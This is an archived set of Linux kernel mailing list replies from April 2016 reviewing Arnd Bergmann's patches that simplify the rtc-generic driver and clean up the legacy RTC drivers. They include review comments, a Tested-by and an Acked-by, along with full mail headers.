         AhmezI9EipXC8GQXvsGo1WD5/kcitE+3Eva23aSdqdNd6pie4csl8kv3sn9R4+qzdTM0
         zM7gSDDfJe0WQvHGCU4KAMPw6bqZih6ckN1eWCZL8WWy7/1BRpH3tjWmnXJ4yh3VD1/e
         pZZKsIeTQFfN6ccTo/wxP9c+mIlpCj4hG53y1pAZ3Qsp6ztd0AkuYNy4SLDAKElqnHuJ
         mtcu9SFgNECKOheJB5ZrjOHZXFKGA2M4vxVi2KQdFPGn2o3eqmIc2i0D+h3BtB5pmwtU
         ZVxg==
X-Gm-Message-State: AOPr4FUq+xr7PQZ/J109qjPHkrvRf3Cl13MkJoAnFyow3OUlA60obF+Hi60DURvzMwhvqYeZ4iXy/1l/5yHnXA==
X-Received: by 10.50.50.235 with SMTP id f11mr9175861igo.10.1461743276322;
 Wed, 27 Apr 2016 00:47:56 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Wed, 27 Apr 2016 00:47:56 -0700 (PDT)
In-Reply-To: <1461707551-1337971-2-git-send-email-arnd@arndb.de>
X-Google-Sender-Auth: JGolXS02Oymo24BEYYwZjiBwNuE
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8552 gmane.linux.ports.alpha:3656 gmane.linux.kernel:2209073 gmane.linux.ports.parisc:26684 gmane.linux.ports.ppc64.devel:126458 gmane.linux.ports.sh.devel:53839 gmane.linux.kernel.cross-arch:31741
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8552>

Hi Arnd,

On Tue, Apr 26, 2016 at 11:52 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> The rtc-generic driver provides an architecture specific
> wrapper on top of the generic rtc_class_ops abstraction,
> and m68k has another abstraction on top, which is a bit
> silly.
>
> This changes the m68k rtc-generic device to provide its
> rtc_class_ops directly, to reduce the number of layers
> by one.
>
> Signed-off-by: Arnd Bergmann <arnd@arndb.de>
> ---
>  arch/m68k/kernel/time.c | 24 ++++++++++++++++++++++--
>  1 file changed, 22 insertions(+), 2 deletions(-)
>
> diff --git a/arch/m68k/kernel/time.c b/arch/m68k/kernel/time.c
> index 3857737e3958..fe35890feede 100644
> --- a/arch/m68k/kernel/time.c
> +++ b/arch/m68k/kernel/time.c
> @@ -86,7 +86,24 @@ void read_persistent_clock(struct timespec *ts)
>         }
>  }
>
> -#ifdef CONFIG_ARCH_USES_GETTIMEOFFSET
> +#if defined(CONFIG_ARCH_USES_GETTIMEOFFSET) && defined(CONFIG_RTC_DRV_GENERIC)

s/defined/IS_ENABLED/ for the modular case.

> @@ -95,7 +112,10 @@ static int __init rtc_init(void)
>         if (!mach_hwclk)
>                 return -ENODEV;
>
> -       pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
> +       /* or just call devm_rtc_device_register instead? */

I guess this comment is a bogus leftover? There's no "dev" parameter to
pass to devm_rtc_device_register() here.

> +       pdev = platform_device_register_data(NULL, "rtc-generic", -1,
> +                                            &generic_rtc_ops,
> +                                            sizeof(generic_rtc_ops));
>         return PTR_ERR_OR_ZERO(pdev);
>  }

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH v2 0/6] simplify rtc-generic driver
Date: Wed, 27 Apr 2016 09:50:58 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <CAMuHMdWppdXFjoj-+YC137fgPYb4TE_Kp4fycitJdPaqMGn3VA@mail.gmail.com>
References: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461743467 20943 80.91.229.3 (27 Apr 2016 07:51:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 07:51:07 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Apr 27 09:51:04 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1avKFT-00076i-63
	for glka-linux-arch@plane.gmane.org; Wed, 27 Apr 2016 09:51:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752658AbcD0HvB (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 27 Apr 2016 03:51:01 -0400
Original-Received: from mail-ig0-f195.google.com ([209.85.213.195]:34127 "EHLO
	mail-ig0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752544AbcD0Hu7 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 27 Apr 2016 03:50:59 -0400
Original-Received: by mail-ig0-f195.google.com with SMTP id qu10so5508291igc.1;
        Wed, 27 Apr 2016 00:50:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=wgHPZbXUoYKqSkPJMvpOEIh9U2OTgntZtCB3nRZWs9M=;
        b=PhanUB/tZeBJ/9UiFV9NSWieKlhHZGaOA/JSFxnulHYVjW+U91izU8TCsBxswkwMPy
         mPMD5g2cKfosgKFB5HYfXfoB1eoMFHBhMxn+5zltgQk1YQnqKEETx7CkvCcFr4HPDLjA
         4ot5fLNYLCYHnq0DE/TXVOT3v4ZHzIP9CLsQ922eWhClHaYEUm30coHxR5JBdJxY+SG8
         RtSAh2Vm4u22EsyFmKQdbj7Wlzci5SFGhTEWzthbF10xx4eBJLqURIf2zYA95mb2htrD
         QgESTJ7mrKRzL8CbwWaiIwGXfQ7JOGhrBeGN7VE6E+SLBwrzPMPDorWs0XpK3/jx3ZDs
         xCCw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=wgHPZbXUoYKqSkPJMvpOEIh9U2OTgntZtCB3nRZWs9M=;
        b=KFmLb6rLwp1chuvliGg3ovlcFoY1JjmKh0knqHdUz545XhIWfcRAr/t0XfFLYmcPJV
         xQW4+3RAfVEx9fGCo72eqRWArnJtF5ccyi1BOy5AKu/c4rtFn1e1LB0tpz8BFLKcg3j/
         n8bBkRDRd5y70srt3X9PATUDKMHF720IBCO7hQpEi0OaPdQNz6moJYoJFtDL9T1d9per
         w9XmmoXDBjc9Hd1g33brn8ho/RfbGiWvm7x+n+IbFpQCUdFHfc5BrXH6lAeZ0avOMKJU
         rOZ3M2mMd7m5Q9b9aI+Q+3aLO3n6zGIAEwRB3vFjgAddeC4av+BAXmulv3hRKwQxeMuz
         rC9g==
X-Gm-Message-State: AOPr4FVbwrh5W4NMhsqMIJrFohbzRVRjgba1Shp7e60BQk0BJHQVcPUFhC4vPCTnMPfmbqfOJcBgW/5jgTiCiA==
X-Received: by 10.50.50.235 with SMTP id f11mr9189277igo.10.1461743458373;
 Wed, 27 Apr 2016 00:50:58 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Wed, 27 Apr 2016 00:50:58 -0700 (PDT)
In-Reply-To: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
X-Google-Sender-Auth: -x2Laof3PDCJ4U7GIjm9owvxyGs
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:31742 gmane.linux.ports.alpha:3657 gmane.linux.kernel:2209077 gmane.linux.ports.parisc:26685 gmane.linux.ports.ppc64.devel:126459 gmane.linux.ports.sh.devel:53840
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/31742>

Hi Arnd,

On Tue, Apr 26, 2016 at 11:52 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> This is a resend of an earlier series, to clean up the rtc-generic
> driver by avoiding the dependency on the architecture specific
> include/asm/rtc.h header that after this series is only used
> for the deprecated "genrtc" driver. As I've shown in another
> series, only three architectures (m68k, powerpc, parisc)
> actually use the genrtc driver, and they all support rtc-generic
> as a replacement as well.
>
> The only missing piece appears to be the ioctl support for
> the m68k q40 machine that I'm adding in patch 2 here.

Apparently I had applied your previous version to my local tree, but I had
completely forgotten about it. So it has received quite some compile testing.

CONFIG_GEN_RTC is not enabled in any of the m68k defconfigs, so I think it's
been unused for a while.
CONFIG_RTC_DRV_GENERIC is modular, so I typically don't run-test it.
I just did that, and after fixing patch 1 to use IS_ENABLED() it worked fine
on ARAnyM.

Tested-by: Geert Uytterhoeven <geert@linux-m68k.org>

I do not have a Q40, so I couldn't test that part.

Thanks!

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: char: legacy RTC cleanups
Date: Wed, 27 Apr 2016 09:54:41 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <CAMuHMdV=R3ad33vPdMZNvZZ8A_DF+F2C8nyAmXOmFiiP50D_UQ@mail.gmail.com>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461743692 24389 80.91.229.3 (27 Apr 2016 07:54:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 07:54:52 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Tony Luck <tony.luck@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	alpha <linux-alpha@vger.kernel.org>,
	"the arch/x86 maintainers" <x86@kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Apr 27 09:54:49 2016
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1avKJ4-0007nR-8W
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 27 Apr 2016 09:54:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752394AbcD0Hyp (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 27 Apr 2016 03:54:45 -0400
Original-Received: from mail-ig0-f195.google.com ([209.85.213.195]:34257 "EHLO
	mail-ig0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752201AbcD0Hyn (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 27 Apr 2016 03:54:43 -0400
Original-Received: by mail-ig0-f195.google.com with SMTP id qu10so5517875igc.1;
        Wed, 27 Apr 2016 00:54:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=Waa/WsobClkvW26HByrJ00IKiUOQzaxUZyFmYxaIHe4=;
        b=njQZT0K7i3JoS0narfxpezMwClMox+M2ODTYCh/iFb2uqCvRfJkpFxtUWnFsbKOvZi
         iRgDSYnuqiQjL2FF2Ce3jj693MOFT3uAEtavkxi3lYA1K3IK4FqFSLue/WZqJ9+FajA7
         EwXW1WYMB0T1mFUaKyAdACujx1gs0KXbRAiDeHYFTRWRPxGXQ45jLQrIL2gPYS5FOLfj
         X1lQz6reZs0qnd41q0s/Zr0Q0rFLm0dNZmVPf5e6I+BoUzw78Ph2yYPnLLBdtV5Mp1Z9
         EZE+FDgHN4vDeGhhRCi7H3EyIkH2nj/zk2vmh1/fy8Y25lZyb1k4MbCR7PH0YzmUutwC
         k2vQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=Waa/WsobClkvW26HByrJ00IKiUOQzaxUZyFmYxaIHe4=;
        b=X4DnatssTCXpBkBvMy+mIHPT2qXqv1sCGYUil6Qcrk772sI/QV3oqxReBwnmg1Q2tR
         sC+91mPsKCfIwCj9RLoGRoeEKOEAS02h5l1+W1s84B7GrOyqsUDy9GnddgkiAHourFpa
         7qZMwkDlZu3i6cmBTH46b4/RF7JKG58N+SNutHNm2b0SKGXGZ+TsBn13ATYOtrcY/+WY
         mIh2AlYCtPK/uBU8eLsI6Yb5ankQDZW5grQv9EUluHA/pShcFL+8DEQHfT96kEuoWjNE
         T5pDCxksju5iDEBAhkdMXmXBWsu5CLhYXY6DhtVrJvSgUlHefBUenp7pBr3Z7KfV9oDl
         zzjQ==
X-Gm-Message-State: AOPr4FUSzJ+JQCt19IMoRq72dhnmQvsEBuJzoS1sH5z/3w9tHWs+o8oVBh3NYJLN2SKPhT8881MzI1ZVX6Zq3g==
X-Received: by 10.50.61.169 with SMTP id q9mr25606487igr.10.1461743682040;
 Wed, 27 Apr 2016 00:54:42 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Wed, 27 Apr 2016 00:54:41 -0700 (PDT)
In-Reply-To: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
X-Google-Sender-Auth: DNzxM9y8DpszWiKvX9p2vZUmqYA
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:26663 gmane.linux.ports.alpha:3658 gmane.linux.kernel:2209079 gmane.linux.ports.parisc:26686 gmane.linux.ports.ppc64.devel:126460 gmane.linux.ports.sh.devel:53841 gmane.linux.kernel.cross-arch:31743
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/26663>

Hi Arnd,

On Tue, Apr 26, 2016 at 11:44 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> For the genrtc driver, rearranging the headers makes it simpler
> to use and reduces duplication. In case of alpha and mn10300,
> I've shown that the genrtc and rtc drivers are doing the same
> thing, so we don't need them both. The remaining three
> architectures (m68k, parisc, powerpc) actually all support
> the newer rtc-generic driver, so we could remove genrtc completely
> if we want to.

CONFIG_GEN_RTC is not enabled in any of the m68k defconfigs, so I think genrtc
has been unused for a while.
All defconfigs either use CONFIG_RTC_DRV_GENERIC, or enable a more specific
RTC driver.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/8] char/rtc: replace blacklist with whitelist
Date: Wed, 27 Apr 2016 10:31:24 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20160427083124.GF3264@piout.net>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
 <1461707052-1337718-2-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461745918 27559 80.91.229.3 (27 Apr 2016 08:31:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 08:31:58 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Apr 27 10:31:43 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1avKso-00019L-Np
	for lnx-linux-alpha@plane.gmane.org; Wed, 27 Apr 2016 10:31:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752857AbcD0Ibl (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 27 Apr 2016 04:31:41 -0400
Original-Received: from down.free-electrons.com ([37.187.137.238]:46607 "EHLO
	mail.free-electrons.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752823AbcD0Ibi (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 27 Apr 2016 04:31:38 -0400
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
	id C42B145F; Wed, 27 Apr 2016 10:31:35 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT,
	URIBL_BLOCKED shortcircuit=ham autolearn=disabled version=3.4.0
Original-Received: from localhost (unknown [37.165.126.67])
	by mail.free-electrons.com (Postfix) with ESMTPSA id 2C861396;
	Wed, 27 Apr 2016 10:31:25 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1461707052-1337718-2-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3659 gmane.linux.kernel:2209113 gmane.linux.ports.ia64:26664 gmane.linux.ports.parisc:26687 gmane.linux.ports.ppc64.devel:126462 gmane.linux.ports.sh.devel:53842 gmane.linux.kernel.cross-arch:31744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3659>

On 26/04/2016 at 23:44:05 +0200, Arnd Bergmann wrote :
> Every new architecture has to add itself to the growing list of those
> that do not support the legacy PC RTC driver.
> 
> This replaces the long list of architectures that don't support it
> with a shorter list of those that do.
> 
> The list is taken from those architectures that have a non-empty
> asm/mc146818rtc.h header file and were not explicitly blacklisted.
> 
> Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Alexandre Belloni <alexandre.belloni@free-electrons.com>

> ---
>  drivers/char/Kconfig | 3 +--
>  1 file changed, 1 insertion(+), 2 deletions(-)
> 
> diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
> index 3ec0766ed5e9..66b5d48f409a 100644
> --- a/drivers/char/Kconfig
> +++ b/drivers/char/Kconfig
> @@ -279,8 +279,7 @@ if RTC_LIB=n
>  
>  config RTC
>  	tristate "Enhanced Real Time Clock Support (legacy PC RTC driver)"
> -	depends on !PPC && !PARISC && !IA64 && !M68K && !SPARC && !FRV \
> -			&& !ARM && !SUPERH && !S390 && !AVR32 && !BLACKFIN && !UML
> +	depends on ALPHA || (MIPS && MACH_LOONGSON64) || MN10300 || X86
>  	---help---
>  	  If you say Y here and create a character special file /dev/rtc with
>  	  major number 10 and minor number 135 using mknod ("man mknod"), you
> -- 
> 2.7.0
> 

-- 
Alexandre Belloni, Free Electrons
Embedded Linux, Kernel and Android engineering
http://free-electrons.com
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: char: legacy RTC cleanups
Date: Wed, 27 Apr 2016 10:33:04 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <6883809.SRgmlLMdyd@wuerfel>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de> <CAMuHMdV=R3ad33vPdMZNvZZ8A_DF+F2C8nyAmXOmFiiP50D_UQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461746072 29838 80.91.229.3 (27 Apr 2016 08:34:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 08:34:32 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Tony Luck <tony.luck@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	alpha <linux-alpha@vger.kernel.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <l
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Apr 27 10:34:23 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1avKvN-0001U3-W8
	for lnx-linux-alpha@plane.gmane.org; Wed, 27 Apr 2016 10:34:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752447AbcD0IeV (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 27 Apr 2016 04:34:21 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.73]:53390 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752383AbcD0IeS (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 27 Apr 2016 04:34:18 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue101) with ESMTPSA (Nemesis) id 0M3jlp-1bmTYp2zBp-00rIUQ; Wed, 27 Apr
 2016 10:33:25 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <CAMuHMdV=R3ad33vPdMZNvZZ8A_DF+F2C8nyAmXOmFiiP50D_UQ@mail.gmail.com>
X-Provags-ID: V03:K0:66RiegKVBGJx2NBS9CfKbHdaNAsfyZhhyXO7ewxGNhk7x3Eve3B
 yktYMHyO6keskTSCbUy4fgIR4Qq3VxCn6AmPTbtt/BDSuJO1FXRWaaaHODfENniV3IRYjdB
 2ZCMVjOC72SnOHWCP3xvI7YpMub8qA0LnDeLk9kl7Ucj0qzjvdtC2kJVW09Cfwpibp+2VYn
 3xb4tcic/xhw00vhwcA3w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:H5epjkeGlU0=:LWc1OCuuM+0T8Hp0y6kC9p
 N0aobzR+M5RbymZE2dFs+1McuUuBvMhpoBEaCxC/yl0PTGrx8oqkIMPGzScx88sfQ20GJJfL+
 ucoTRH3RYLHrZrCVvSUfL44k09NEDAWzXvwErGJ1UbtqyTqB6x+62lteNfNl8iYA4vhQ3/fgd
 5F6I/IdGu3VgR+ahGILRnzCF7NjMMe2Yp/LoPT1e0JCD+tKuaJBjfOHWJB3z8arIVwbMSIiSn
 mavVr7aJ1e3c75IMdNrYNDxhMhqhZSDJhDDhG1uX1lKFaSafWfcglkGgz/jlyKCWNM9UZNEk0
 iy3SFmAFwdD0/GrFhxFDaUES/O4OhcW9AykkG10LeKkpU8HAIWFv9yC7EYazsjHiz4iikc4XL
 VxLtaAN8as/vDZiWKm8wPHVpGDD/vNPJBO0gXky60MnnykaUojcL+0hgHZF5cF9Ren1Yy5M44
 o3gsDAlvug3Fe8JXVpL4STfjVTHDXiYRnF4+Fq/AiC018DCOunAed9vKgLoNyZOJjqFrfS8T3
 fS/z8c/VvaGCEjKzGYR5HA/VbT6LRi2xsN3S7u81gQaEhGa4tjEmU9B+tRH+Ab/NI3smfC0qF
 8W3NWQGB0JtP9VPozowaTtBZgFc1MYcoR4IoO8+pyrbR+it/+j0GK9Le8ppuB7W+XRmQxSN50
 0rqP/r2QDGDK2FQ4G+/qph9ccK+T1cf6DHGestaPDcx7qM7YxujULHoZKrJwAbQcKmgZJWhE1
 fEvleKR1T1ZwNtEr
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
